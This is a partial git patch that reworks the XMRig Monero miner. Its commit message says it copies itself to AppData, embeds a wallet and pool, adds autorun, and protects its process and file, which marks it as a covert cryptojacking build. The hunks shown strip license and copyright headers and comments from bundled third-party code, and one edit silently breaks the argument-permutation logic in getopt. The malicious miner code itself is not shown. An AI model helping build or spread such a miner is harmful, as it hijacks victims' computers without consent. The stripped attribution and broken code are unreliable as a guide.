From 5e3ae60fb3ada96c89b8c7216cda3c65d948d8bd Mon Sep 17 00:00:00 2001 From: RansomFuck <36387106+RansomFuck@users.noreply.github.com> Date: Mon, 12 Feb 2018 02:29:06 +0300 Subject: [PATCH] FULLY CHANGED RIG Copy file to appdata, integrated encrypted wallet and pool, autorun, protect process and file. And to many fucked changes --- src/3rdparty/align.h | 23 - src/3rdparty/aligned_malloc.h | 65 - src/3rdparty/getopt/getopt.h | 313 +--- src/3rdparty/libcpuid/amd_code_t.h | 30 - src/3rdparty/libcpuid/asm-bits.c | 30 - src/3rdparty/libcpuid/asm-bits.h | 33 +- src/3rdparty/libcpuid/cpuid_main.c | 46 +- src/3rdparty/libcpuid/intel_code_t.h | 30 - src/3rdparty/libcpuid/libcpuid.h | 730 ++------ src/3rdparty/libcpuid/libcpuid_constants.h | 33 +- src/3rdparty/libcpuid/libcpuid_internal.h | 30 - src/3rdparty/libcpuid/libcpuid_types.h | 31 - src/3rdparty/libcpuid/libcpuid_util.c | 26 - src/3rdparty/libcpuid/libcpuid_util.h | 47 - src/3rdparty/libcpuid/recog_amd.c | 26 - src/3rdparty/libcpuid/recog_amd.h | 25 - src/3rdparty/libcpuid/recog_intel.c | 25 - src/3rdparty/libcpuid/recog_intel.h | 25 - src/App.cpp | 229 +-- src/App.h | 39 +- src/App_unix.cpp | 66 - src/App_win.cpp | 48 +- src/Console.cpp | 47 +- src/Console.h | 31 +- src/Cpu.cpp | 99 +- src/Cpu.h | 34 +- src/Cpu_arm.cpp | 54 - src/Cpu_mac.cpp | 45 - src/Cpu_stub.cpp | 71 +- src/Cpu_unix.cpp | 79 - src/Cpu_win.cpp | 54 +- src/Mem.cpp | 65 +- src/Mem.h | 35 - src/Mem_unix.cpp | 98 -- src/Mem_win.cpp | 135 +- src/Options.cpp | 692 +------- src/Options.h | 42 +- src/Platform.cpp | 51 - src/Platform.h | 26 - src/Platform_mac.cpp | 109 -- src/Platform_unix.cpp | 129 -- src/Platform_win.cpp | 140 +- src/Summary.cpp | 170 +- src/Summary.h | 29 +- src/api/Api.cpp | 85 +- src/api/Api.h | 28 - src/api/ApiState.cpp | 106 +- src/api/ApiState.h | 29 - src/api/Httpd.cpp | 112 +- src/api/Httpd.h | 23 - src/api/NetworkState.cpp | 125 +- src/api/NetworkState.h | 23 - src/config.json | 31 - src/crypto/CryptoNight.cpp | 73 +- src/crypto/CryptoNight.h | 23 - .../{CryptoNight_arm.h => CryptoNight_p.h} | 176 +- src/crypto/CryptoNight_test.h | 23 - src/crypto/CryptoNight_x86.h | 300 +++- src/crypto/SSE2NEON.h | 1497 ----------------- src/crypto/c_blake256.c | 10 - src/crypto/c_groestl.c | 90 +- src/crypto/c_jh.c | 115 +- src/crypto/c_jh.h | 14 - src/crypto/c_keccak.c | 4 - src/crypto/c_skein.c | 342 ++-- src/crypto/c_skein.h | 28 +- src/crypto/skein_port.h | 40 - src/crypto/soft_aes.h | 73 +- src/donate.h | 43 +- src/interfaces/IClientListener.h | 29 +- src/interfaces/IConsoleListener.h | 25 +- src/interfaces/IJobResultListener.h | 29 +- src/interfaces/ILogBackend.h | 29 +- src/interfaces/IStrategy.h | 31 +- src/interfaces/IStrategyListener.h | 29 +- src/interfaces/IWorker.h | 28 +- src/log/ConsoleLog.cpp | 140 +- src/log/ConsoleLog.h | 31 +- src/log/FileLog.cpp | 96 +- src/log/FileLog.h | 31 +- src/log/Log.cpp | 60 +- src/log/Log.h | 25 +- src/log/SysLog.cpp | 47 +- src/log/SysLog.h | 29 +- src/net/Client.cpp | 339 +--- src/net/Client.h | 29 - src/net/Job.cpp | 120 +- src/net/Job.h | 29 - src/net/JobId.h | 29 - src/net/JobResult.h | 34 +- src/net/Network.cpp | 157 +- src/net/Network.h | 28 - src/net/SubmitResult.cpp | 35 +- src/net/SubmitResult.h | 28 +- src/net/Url.cpp | 119 +- src/net/Url.h | 29 +- src/net/strategies/DonateStrategy.cpp | 146 -- src/net/strategies/DonateStrategy.h | 31 - src/net/strategies/FailoverStrategy.cpp | 109 +- src/net/strategies/FailoverStrategy.h | 29 - src/net/strategies/SinglePoolStrategy.cpp | 44 - src/net/strategies/SinglePoolStrategy.h | 27 - src/version.h | 41 +- src/workers/DoubleWorker.cpp | 95 +- src/workers/DoubleWorker.h | 32 +- src/workers/Handle.cpp | 40 +- src/workers/Handle.h | 29 +- src/workers/Hashrate.cpp | 116 +- src/workers/Hashrate.h | 27 - src/workers/SingleWorker.cpp | 87 +- src/workers/SingleWorker.h | 29 +- src/workers/Worker.cpp | 32 - src/workers/Worker.h | 32 - src/workers/Workers.cpp | 109 +- src/workers/Workers.h | 28 - src/xmrig.cpp | 229 ++- 116 files changed, 1385 insertions(+), 9160 deletions(-) delete mode 100644 src/3rdparty/aligned_malloc.h delete mode 100644 src/App_unix.cpp delete mode 100644 src/Cpu_arm.cpp delete mode 100644 src/Cpu_mac.cpp delete mode 100644 src/Cpu_unix.cpp delete mode 100644 src/Mem_unix.cpp delete mode 100644 src/Platform_mac.cpp delete mode 100644 src/Platform_unix.cpp delete mode 100644 src/config.json rename src/crypto/{CryptoNight_arm.h => CryptoNight_p.h} (73%) delete mode 100644 src/crypto/SSE2NEON.h diff --git a/src/3rdparty/align.h b/src/3rdparty/align.h index b61179b9..0d521751 100644 --- a/src/3rdparty/align.h +++ b/src/3rdparty/align.h @@ -1,26 +1,3 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __ALIGN_H__ #define __ALIGN_H__ diff --git a/src/3rdparty/aligned_malloc.h b/src/3rdparty/aligned_malloc.h deleted file mode 100644 index 0b74b17e..00000000 --- a/src/3rdparty/aligned_malloc.h +++ /dev/null @@ -1,65 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#ifndef __ALIGNED_MALLOC_H__ -#define __ALIGNED_MALLOC_H__ - - -#include - - -#ifndef __cplusplus -extern int posix_memalign(void **__memptr, size_t __alignment, size_t __size); -#else -// Some systems (e.g. those with GNU libc) declare posix_memalign with an -// exception specifier. Via an "egregious workaround" in -// Sema::CheckEquivalentExceptionSpec, Clang accepts the following as a valid -// redeclaration of glibc's declaration. -extern "C" int posix_memalign(void **__memptr, size_t __alignment, size_t __size); -#endif - - -static __inline__ void *__attribute__((__always_inline__, __malloc__)) _mm_malloc(size_t __size, size_t __align) -{ - if (__align == 1) { - return malloc(__size); - } - - if (!(__align & (__align - 1)) && __align < sizeof(void *)) - __align = sizeof(void *); - - void *__mallocedMemory; - if (posix_memalign(&__mallocedMemory, __align, __size)) { - return 0; - } - - return __mallocedMemory; -} - - -static __inline__ void __attribute__((__always_inline__)) _mm_free(void *__p) -{ - free(__p); -} - -#endif /* __ALIGNED_MALLOC_H__ */ diff --git a/src/3rdparty/getopt/getopt.h b/src/3rdparty/getopt/getopt.h index bcbff179..8960e233 100644 --- a/src/3rdparty/getopt/getopt.h +++ b/src/3rdparty/getopt/getopt.h @@ -1,66 +1,9 @@ #ifndef __GETOPT_H__ -/** - * DISCLAIMER - * This file is part of the mingw-w64 runtime package. - * - * The mingw-w64 runtime package and its code is distributed in the hope that it - * will be useful but WITHOUT ANY WARRANTY. ALL WARRANTIES, EXPRESSED OR - * IMPLIED ARE HEREBY DISCLAIMED. This includes but is not limited to - * warranties of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - */ - /* - * Copyright (c) 2002 Todd C. Miller - * - * Permission to use, copy, modify, and distribute this software for any - * purpose with or without fee is hereby granted, provided that the above - * copyright notice and this permission notice appear in all copies. - * - * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES - * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF - * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR - * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES - * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN - * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF - * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - * - * Sponsored in part by the Defense Advanced Research Projects - * Agency (DARPA) and Air Force Research Laboratory, Air Force - * Materiel Command, USAF, under agreement number F39502-99-1-0512. - */ -/*- - * Copyright (c) 2000 The NetBSD Foundation, Inc. - * All rights reserved. - * - * This code is derived from software contributed to The NetBSD Foundation - * by Dieter Baron and Thomas Klausner. - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE NETBSD FOUNDATION, INC. AND CONTRIBUTORS - * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED - * TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR - * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE FOUNDATION OR CONTRIBUTORS - * BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR - * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF - * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS - * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN - * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) - * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE - * POSSIBILITY OF SUCH DAMAGE. - */ #pragma warning(disable:4996) #define __GETOPT_H__ -/* All the headers include this file. */ #include #include #include @@ -73,32 +16,25 @@ extern "C" { #endif -#define REPLACE_GETOPT /* use this getopt as the system getopt(3) */ +#define REPLACE_GETOPT #ifdef REPLACE_GETOPT -int opterr = 1; /* if error message should be printed */ -int optind = 1; /* index into parent argv vector */ -int optopt = '?'; /* character checked for validity */ -#undef optreset /* see getopt.h */ +int opterr = 1; +int optind = 1; +int optopt = '?'; +#undef optreset #define optreset __mingw_optreset -int optreset; /* reset getopt */ -char *optarg; /* argument associated with option */ +int optreset; +char *optarg; #endif -//extern int optind; /* index of first non-option in argv */ -//extern int optopt; /* single option character, as parsed */ -//extern int opterr; /* flag to enable built-in diagnostics... */ -// /* (user may set to zero, to suppress) */ -// -//extern char *optarg; /* pointer to argument of current option */ - #define PRINT_ERROR ((opterr) && (*options != ':')) -#define FLAG_PERMUTE 0x01 /* permute non-options to the end of argv */ -#define FLAG_ALLARGS 0x02 /* treat non-options as args to option "-1" */ -#define FLAG_LONGONLY 0x04 /* operate as getopt_long_only */ +#define FLAG_PERMUTE 0x01 +#define FLAG_ALLARGS 0x02 +#define FLAG_LONGONLY 0x04 + -/* return values */ #define BADCH (int)'?' #define BADARG ((*options == ':') ? (int)':' : (int)'?') #define INORDER (int)1 @@ -122,13 +58,13 @@ static int parse_long_options(char * const *, const char *, static int gcd(int, int); static void permute_args(int, int, int, char * const *); -static char *place = EMSG; /* option letter processing */ +static char *place = EMSG; + + +static int nonopt_start = -1; +static int nonopt_end = -1; -/* XXX: set optreset to 1 rather than these two */ -static int nonopt_start = -1; /* first non option argument (for permute) */ -static int nonopt_end = -1; /* first option after non options (for permute) */ -/* Error messages */ static const char recargchar[] = "option requires an argument -- %c"; static const char recargstring[] = "option requires an argument -- %s"; static const char ambig[] = "ambiguous option -- %.*s"; @@ -154,9 +90,6 @@ warnx(const char *fmt,...) va_end(ap); } -/* - * Compute the greatest common divisor of a and b. - */ static int gcd(int a, int b) { @@ -172,11 +105,7 @@ gcd(int a, int b) return (b); } -/* - * Exchange the block from nonopt_start to nonopt_end with the block - * from nonopt_end to opt_end (keeping the same order of arguments - * in each block). - */ + static void permute_args(int panonopt_start, int panonopt_end, int opt_end, char * const *nargv) @@ -184,13 +113,10 @@ permute_args(int panonopt_start, int panonopt_end, int opt_end, int cstart, cyclelen, i, j, ncycle, nnonopts, nopts, pos; char *swap; - /* - * compute lengths of blocks and number and size of cycles - */ nnonopts = panonopt_end - panonopt_start; nopts = opt_end - panonopt_end; ncycle = gcd(nnonopts, nopts); - cyclelen = (opt_end - panonopt_start) / ncycle; + cyclelen = (opt_end - panonopt_start); for (i = 0; i < ncycle; i++) { cstart = panonopt_end+i; @@ -201,62 +127,30 @@ permute_args(int panonopt_start, int panonopt_end, int opt_end, else pos += nopts; swap = nargv[pos]; - /* LINTED const cast */ + ((char **) nargv)[pos] = nargv[cstart]; - /* LINTED const cast */ + ((char **)nargv)[cstart] = swap; } } } #ifdef REPLACE_GETOPT -/* - * getopt -- - * Parse argc/argv argument vector. - * - * [eventually this will replace the BSD getopt] - */ int getopt(int nargc, char * const *nargv, const char *options) { - - /* - * We don't pass FLAG_PERMUTE to getopt_internal() since - * the BSD getopt(3) (unlike GNU) has never done this. - * - * Furthermore, since many privileged programs call getopt() - * before dropping privileges it makes sense to keep things - * as simple (and bug-free) as possible. - */ return (getopt_internal(nargc, nargv, options, NULL, NULL, 0)); } -#endif /* REPLACE_GETOPT */ - -//extern int getopt(int nargc, char * const *nargv, const char *options); +#endif #ifdef _BSD_SOURCE -/* - * BSD adds the non-standard `optreset' feature, for reinitialisation - * of `getopt' parsing. We support this feature, for applications which - * proclaim their BSD heritage, before including this header; however, - * to maintain portability, developers are advised to avoid it. - */ # define optreset __mingw_optreset extern int optreset; #endif #ifdef __cplusplus } #endif -/* - * POSIX requires the `getopt' API to be specified in `unistd.h'; - * thus, `unistd.h' includes this header. However, we do not want - * to expose the `getopt_long' or `getopt_long_only' APIs, when - * included in this manner. Thus, close the standard __GETOPT_H__ - * declarations block, and open an additional __GETOPT_LONG_H__ - * specific block, only when *not* __UNISTD_H_SOURCED__, in which - * to declare the extended API. - */ -#endif /* !defined(__GETOPT_H__) */ +#endif #if !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__) #define __GETOPT_LONG_H__ @@ -265,26 +159,20 @@ extern int optreset; extern "C" { #endif -struct option /* specification for a long form option... */ +struct option { - const char *name; /* option name, without leading hyphens */ - int has_arg; /* does it take an argument? */ - int *flag; /* where to save its status, or NULL */ - int val; /* its associated status value */ + const char *name; + int has_arg; + int *flag; + int val; }; -enum /* permitted values for its `has_arg' field... */ +enum { - no_argument = 0, /* option never takes an argument */ - required_argument, /* option always requires an argument */ - optional_argument /* option may take an argument */ + no_argument = 0, + required_argument, + optional_argument }; - -/* - * parse_long_options -- - * Parse long options in argc/argv argument vector. - * Returns -1 if short_too is set and the option does not match long_options. - */ static int parse_long_options(char * const *nargv, const char *options, const struct option *long_options, int *idx, int short_too) @@ -305,53 +193,46 @@ parse_long_options(char * const *nargv, const char *options, optind++; if ((has_equal = strchr(current_argv, '=')) != NULL) { - /* argument found (--option=arg) */ + current_argv_len = has_equal - current_argv; has_equal++; } else current_argv_len = strlen(current_argv); for (i = 0; long_options[i].name; i++) { - /* find matching long option */ + if (strncmp(current_argv, long_options[i].name, current_argv_len)) continue; if (strlen(long_options[i].name) == current_argv_len) { - /* exact match */ + match = i; ambiguous = 0; break; } - /* - * If this is a known short option, don't allow - * a partial match of a single character. - */ if (short_too && current_argv_len == 1) continue; - if (match == -1) /* partial match */ + if (match == -1) match = i; else if (!IDENTICAL_INTERPRETATION(i, match)) ambiguous = 1; } if (ambiguous) { - /* ambiguous abbreviation */ + if (PRINT_ERROR) warnx(ambig, (int)current_argv_len, current_argv); optopt = 0; return (BADCH); } - if (match != -1) { /* option found */ + if (match != -1) { if (long_options[match].has_arg == no_argument && has_equal) { if (PRINT_ERROR) warnx(noarg, (int)current_argv_len, current_argv); - /* - * XXX: GNU sets optopt to val regardless of flag - */ if (long_options[match].flag == NULL) optopt = long_options[match].val; else @@ -364,24 +245,14 @@ parse_long_options(char * const *nargv, const char *options, optarg = has_equal; else if (long_options[match].has_arg == required_argument) { - /* - * optional argument doesn't use next nargv - */ optarg = nargv[optind++]; } } if ((long_options[match].has_arg == required_argument) && (optarg == NULL)) { - /* - * Missing argument; leading ':' indicates no error - * should be generated. - */ if (PRINT_ERROR) warnx(recargstring, current_argv); - /* - * XXX: GNU sets optopt to val regardless of flag - */ if (long_options[match].flag == NULL) optopt = long_options[match].val; else @@ -389,7 +260,7 @@ parse_long_options(char * const *nargv, const char *options, --optind; return (BADARG); } - } else { /* unknown option */ + } else { if (short_too) { --optind; return (-1); @@ -408,36 +279,19 @@ parse_long_options(char * const *nargv, const char *options, return (long_options[match].val); #undef IDENTICAL_INTERPRETATION } - -/* - * getopt_internal -- - * Parse argc/argv argument vector. Called by user level routines. - */ static int getopt_internal(int nargc, char * const *nargv, const char *options, const struct option *long_options, int *idx, int flags) { - char *oli; /* option letter list index */ + char *oli; int optchar, short_too; static int posixly_correct = -1; if (options == NULL) return (-1); - /* - * XXX Some GNU programs (like cvs) set optind to 0 instead of - * XXX using optreset. Work around this braindamage. - */ if (optind == 0) optind = optreset = 1; - - /* - * Disable GNU extensions if POSIXLY_CORRECT is set or options - * string begins with a '+'. - * - * CV, 2009-12-14: Check POSIXLY_CORRECT anew if optind == 0 or - * optreset != 0 for GNU compatibility. - */ if (posixly_correct == -1 || optreset != 0) posixly_correct = (getenv("POSIXLY_CORRECT") != NULL); if (*options == '-') @@ -451,21 +305,17 @@ getopt_internal(int nargc, char * const *nargv, const char *options, if (optreset) nonopt_start = nonopt_end = -1; start: - if (optreset || !*place) { /* update scanning pointer */ + if (optreset || !*place) { optreset = 0; - if (optind >= nargc) { /* end of argument vector */ + if (optind >= nargc) { place = EMSG; if (nonopt_end != -1) { - /* do permutation, if we have to */ + permute_args(nonopt_start, nonopt_end, optind, nargv); optind -= nonopt_end - nonopt_start; } else if (nonopt_start != -1) { - /* - * If we skipped non-options, set optind - * to the first of them. - */ optind = nonopt_start; } nonopt_start = nonopt_end = -1; @@ -473,23 +323,15 @@ start: } if (*(place = nargv[optind]) != '-' || (place[1] == '\0' && strchr(options, '-') == NULL)) { - place = EMSG; /* found non-option */ + place = EMSG; if (flags & FLAG_ALLARGS) { - /* - * GNU extension: - * return non-option as argument to option 1 - */ optarg = nargv[optind++]; return (INORDER); } if (!(flags & FLAG_PERMUTE)) { - /* - * If no permutation wanted, stop parsing - * at first non-option. - */ return (-1); } - /* do permutation */ + if (nonopt_start == -1) nonopt_start = optind; else if (nonopt_end != -1) { @@ -500,22 +342,14 @@ start: nonopt_end = -1; } optind++; - /* process next argument */ + goto start; } if (nonopt_start != -1 && nonopt_end == -1) nonopt_end = optind; - - /* - * If we have "-" do nothing, if "--" we are done. - */ if (place[1] != '\0' && *++place == '-' && place[1] == '\0') { optind++; place = EMSG; - /* - * We found an option (--), so if we skipped - * non-options, we have to permute. - */ if (nonopt_end != -1) { permute_args(nonopt_start, nonopt_end, optind, nargv); @@ -525,20 +359,13 @@ start: return (-1); } } - - /* - * Check long options if: - * 1) we were passed some - * 2) the arg is not just "-" - * 3) either the arg starts with -- we are getopt_long_only() - */ if (long_options != NULL && place != nargv[optind] && (*place == '-' || (flags & FLAG_LONGONLY))) { short_too = 0; if (*place == '-') - place++; /* --foo long option */ + place++; else if (*place != ':' && strchr(options, *place) != NULL) - short_too = 1; /* could be short option too */ + short_too = 1; optchar = parse_long_options(nargv, options, long_options, idx, short_too); @@ -551,11 +378,6 @@ start: if ((optchar = (int)*place++) == (int)':' || (optchar == (int)'-' && *place != '\0') || (oli = (char*)strchr(options, optchar)) == NULL) { - /* - * If the user specified "-" and '-' isn't listed in - * options, return -1 (non-option) as per POSIX. - * Otherwise, it is an unknown option character (or ':'). - */ if (optchar == (int)'-' && *place == '\0') return (-1); if (!*place) @@ -566,31 +388,30 @@ start: return (BADCH); } if (long_options != NULL && optchar == 'W' && oli[1] == ';') { - /* -W long-option */ - if (*place) /* no space */ - /* NOTHING */; - else if (++optind >= nargc) { /* no arg */ + + if (*place) {} + else if (++optind >= nargc) { place = EMSG; if (PRINT_ERROR) warnx(recargchar, optchar); optopt = optchar; return (BADARG); - } else /* white space */ + } else place = nargv[optind]; optchar = parse_long_options(nargv, options, long_options, idx, 0); place = EMSG; return (optchar); } - if (*++oli != ':') { /* doesn't take argument */ + if (*++oli != ':') { if (!*place) ++optind; - } else { /* takes (optional) argument */ + } else { optarg = NULL; - if (*place) /* no white space */ + if (*place) optarg = place; - else if (oli[1] != ':') { /* arg not optional */ - if (++optind >= nargc) { /* no arg */ + else if (oli[1] != ':') { + if (++optind >= nargc) { place = EMSG; if (PRINT_ERROR) warnx(recargchar, optchar); @@ -602,14 +423,10 @@ start: place = EMSG; ++optind; } - /* dump back option letter */ + return (optchar); } -/* - * getopt_long -- - * Parse argc/argv argument vector. - */ int getopt_long(int nargc, char * const *nargv, const char *options, const struct option *long_options, int *idx) @@ -619,10 +436,6 @@ getopt_long(int nargc, char * const *nargv, const char *options, FLAG_PERMUTE)); } -/* - * getopt_long_only -- - * Parse argc/argv argument vector. - */ int getopt_long_only(int nargc, char * const *nargv, const char *options, const struct option *long_options, int *idx) @@ -632,17 +445,7 @@ getopt_long_only(int nargc, char * const *nargv, const char *options, FLAG_PERMUTE|FLAG_LONGONLY)); } -//extern int getopt_long(int nargc, char * const *nargv, const char *options, -// const struct option *long_options, int *idx); -//extern int getopt_long_only(int nargc, char * const *nargv, const char *options, -// const struct option *long_options, int *idx); -/* - * Previous MinGW implementation had... - */ #ifndef HAVE_DECL_GETOPT -/* - * ...for the long form API only; keep this for compatibility. - */ # define HAVE_DECL_GETOPT 1 #endif @@ -650,4 +453,4 @@ getopt_long_only(int nargc, char * const *nargv, const char *options, } #endif -#endif /* !defined(__UNISTD_H_SOURCED__) && !defined(__GETOPT_LONG_H__) */ +#endif diff --git a/src/3rdparty/libcpuid/amd_code_t.h b/src/3rdparty/libcpuid/amd_code_t.h index 058e8957..0e61b1d8 100644 --- a/src/3rdparty/libcpuid/amd_code_t.h +++ b/src/3rdparty/libcpuid/amd_code_t.h @@ -1,33 +1,3 @@ -/* - * Copyright 2016 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - -/* - * This file contains a list of internal codes we use in detection. It is - * of no external use and isn't a complete list of AMD products. - */ CODE2(OPTERON_800, 1000), CODE(PHENOM), CODE(PHENOM2), diff --git a/src/3rdparty/libcpuid/asm-bits.c b/src/3rdparty/libcpuid/asm-bits.c index b8e32284..c972c42e 100644 --- a/src/3rdparty/libcpuid/asm-bits.c +++ b/src/3rdparty/libcpuid/asm-bits.c @@ -1,29 +1,3 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ - #include "libcpuid.h" #include "asm-bits.h" @@ -76,10 +50,6 @@ int cpuid_exists_by_eflags(void) } #ifdef INLINE_ASM_SUPPORTED -/* - * with MSVC/AMD64, the exec_cpuid() and cpu_rdtsc() functions - * are implemented in separate .asm files. Otherwise, use inline assembly - */ void exec_cpuid(uint32_t *regs) { #ifdef COMPILER_GCC diff --git a/src/3rdparty/libcpuid/asm-bits.h b/src/3rdparty/libcpuid/asm-bits.h index 3a03e11c..9edc1c01 100644 --- a/src/3rdparty/libcpuid/asm-bits.h +++ b/src/3rdparty/libcpuid/asm-bits.h @@ -1,47 +1,22 @@ -/* - * Copyright 2008 Veselin Georgiev, - * anrieffNOSPAM @ mgail_DOT.com (convert to gmail) - * - * Redistribution and use in source and binary forms, with or without - * modification, are permitted provided that the following conditions - * are met: - * - * 1. Redistributions of source code must retain the above copyright - * notice, this list of conditions and the following disclaimer. - * 2. Redistributions in binary form must reproduce the above copyright - * notice, this list of conditions and the following disclaimer in the - * documentation and/or other materials provided with the distribution. - * - * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR - * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES - * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. - * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, - * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT - * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, - * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY - * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT - * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF - * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - */ #ifndef __ASM_BITS_H__ #define __ASM_BITS_H__ #include "libcpuid.h" -/* Determine Compiler: */ + #if defined(_MSC_VER) # define COMPILER_MICROSOFT #elif defined(__GNUC__) # define COMPILER_GCC #endif -/* Determine Platform */ + #if defined(__x86_64__) || defined(_M_AMD64) # define PLATFORM_X64 #elif defined(__i386__) || defined(_M_IX86) # define PLATFORM_X86 #endif -/* Under Windows/AMD64 with MSVC, inline assembly isn't supported */ + #if (defined(COMPILER_GCC) && defined(PLATFORM_X64)) || defined(PLATFORM_X86) # define INLINE_ASM_SUPPORTED #endif @@ -50,4 +25,4 @@ int cpuid_exists_by_eflags(void); void exec_cpuid(uint32_t *regs); void busy_sse_loop(int cycles); -#endif /* __ASM_BITS_H__ */ +#endif diff --git a/src/3rdparty/libcpuid/cpuid_main.c b/src/3rdparty/libcpuid/cpuid_main.c index f22c7dd6..faf31f8b 100644 --- 